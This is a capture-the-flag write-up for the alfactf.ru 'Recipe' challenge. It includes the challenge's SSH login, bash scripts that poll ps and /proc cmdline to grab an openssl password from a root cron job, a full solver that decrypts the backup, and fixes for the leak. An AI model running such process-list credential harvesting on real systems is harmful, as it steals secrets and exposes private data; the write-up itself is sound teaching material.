Recipe
Recipe
Platform: alfactf.ru | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-19 | Status: Solved Techniques: process_list_credential_harvesting, proc_cmdline_leak
Summary
SSH access: - Host: recipe-kjo48rq4.alfactf.ru - Username: recipe - Password: X9azG0pNtCXab9wKhK4sjQ
Recipe — alfactf.ru
Description
В пляжном баре вы заказываете коктейль «Фиксит». Бармен улыбается: «Ого, эту штуку сто лет не просили». Достаёт бутылки, что-то мешает, пробует и морщится: «Хм… странно. Вроде всё на месте, а вкус не тот». Похоже, бармен забыл правильный порядок ингредиентов. Если поможете бармену добыть данные из старой барной базы — получите (напиток) флаг за счёт заведения.
SSH access:
- Host: recipe-kjo48rq4.alfactf.ru
- Username: recipe
- Password: X9azG0pNtCXab9wKhK4sjQ
Analysis
1. System Reconnaissance
After connecting via SSH, the following were discovered:
- Backup script
/usr/local/bin/backup.sh:
bash read-only • copy allowed#!/bin/bash # Backup script for MySQL database BACKUP_DIR="/var/backups" ENCRYPTED_FILE="db_backup.enc" ENC_PASS="<secret_password>" # Create backup and encrypt mysqldump -u root database | gzip | \ openssl enc -aes-256-cbc -e -salt --iter 131072 -out $BACKUP_DIR/$ENCRYPTED_FILE -pass pass:$ENC_PASS
- Cron job running every minute:
*/1 * * * * root /usr/local/bin/backup.sh
2. Vulnerability — Information Leak via /proc
Problem: The encryption password is passed through command line arguments (-pass pass:$ENC_PASS).
Why this is a vulnerability:
- Command line arguments are visible to all users on the system
- Accessible via
ps aux,/proc/[pid]/cmdline - This is a classic mistake — passing secrets through CLI
bash read-only • copy allowed# Any user can see: $ ps aux | grep openssl root 12345 openssl enc -aes-256-cbc -e -salt --iter 131072 -out /var/backups/db_backup.enc -pass pass:SuperSecretPassword123
Solution
Step 1: Process Monitoring to Capture Password
bash read-only • copy allowed#!/bin/bash # Wait for cron job execution and capture password while true; do PASS=$(ps aux | grep 'openssl enc' | grep -v grep | sed -n 's/.*pass:\(\S\+\).*/\1/p') if [ -n "$PASS" ]; then echo "Password captured: $PASS" break fi sleep 0.1 done
Alternative method via /proc:
bash read-only • copy allowed# Monitoring via procfs for pid in /proc/[0-9]*; do cmdline=$(cat "$pid/cmdline" 2>/dev/null | tr '\0' ' ') if [[ "$cmdline" == *"openssl enc"* ]]; then echo "$cmdline" | grep -oP 'pass:\K\S+' fi done
Step 2: Decrypting the Backup
After obtaining the password:
bash read-only • copy allowed# Decryption and extraction BACKUP="/var/backups/db_backup.enc" PASS="<captured_password>" openssl enc -aes-256-cbc -d -salt --iter 131072 -in "$BACKUP" -pass pass:"$PASS" | tar -xzf - -O
Or as a one-liner:
bash read-only • copy allowedopenssl enc -aes-256-cbc -d -salt --iter 131072 -in /var/backups/db_backup.enc -pass pass:"$PASS" | gunzip
Step 3: Extracting the Flag
The decrypted MySQL dump contains:
sql read-only • copy allowed-- MySQL dump 10.13 -- Database: bar_recipes CREATE TABLE `users` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, PRIMARY KEY (`id`) ); INSERT INTO `users` VALUES (1,'Alice','alice@example.com'), (2,'Bob','bob@example.com'), (3,'Alex','alfa{REDACTED}');
Full Exploit
bash read-only • copy allowed#!/bin/bash # Recipe CTF Solver BACKUP="/var/backups/db_backup.enc" echo "[*] Waiting for cron job to execute..." while true; do PASS=$(ps aux 2>/dev/null | grep 'openssl enc' | grep -v grep | sed -n 's/.*pass:\(\S\+\).*/\1/p') if [ -n "$PASS" ]; then echo "[+] Password captured: $PASS" break fi sleep 0.1 done echo "[*] Decrypting backup..." openssl enc -aes-256-cbc -d -salt --iter 131072 -in "$BACKUP" -pass pass:"$PASS" 2>/dev/null | gunzip 2>/dev/null | grep -oE 'alfa\{[^}]+\}' echo "[+] Done!"
Correct Approach (How It Should Have Been Done)
bash read-only • copy allowed# WRONG - password visible in ps: openssl enc -aes-256-cbc -e -pass pass:$SECRET ... # CORRECT - via environment variable: export ENC_PASS="secret" openssl enc -aes-256-cbc -e -pass env:ENC_PASS ... # CORRECT - via file: echo "secret" > /root/.enc_pass && chmod 600 /root/.enc_pass openssl enc -aes-256-cbc -e -pass file:/root/.enc_pass ... # CORRECT - via stdin: echo "secret" | openssl enc -aes-256-cbc -e -pass stdin ...
Lessons
- Never pass secrets through command line arguments — they are visible to all users
- Use environment variables or stdin for passing passwords
- Hint in the description — "order of ingredients" hinted at the sequence: first capture the password from the process list, then decrypt
- The flag speaks for itself:
REDACTED— "process list sometimes is evil"
References
- CWE-214: Invocation of Process Using Visible Sensitive Information
- Linux /proc filesystem
- OpenSSL enc man page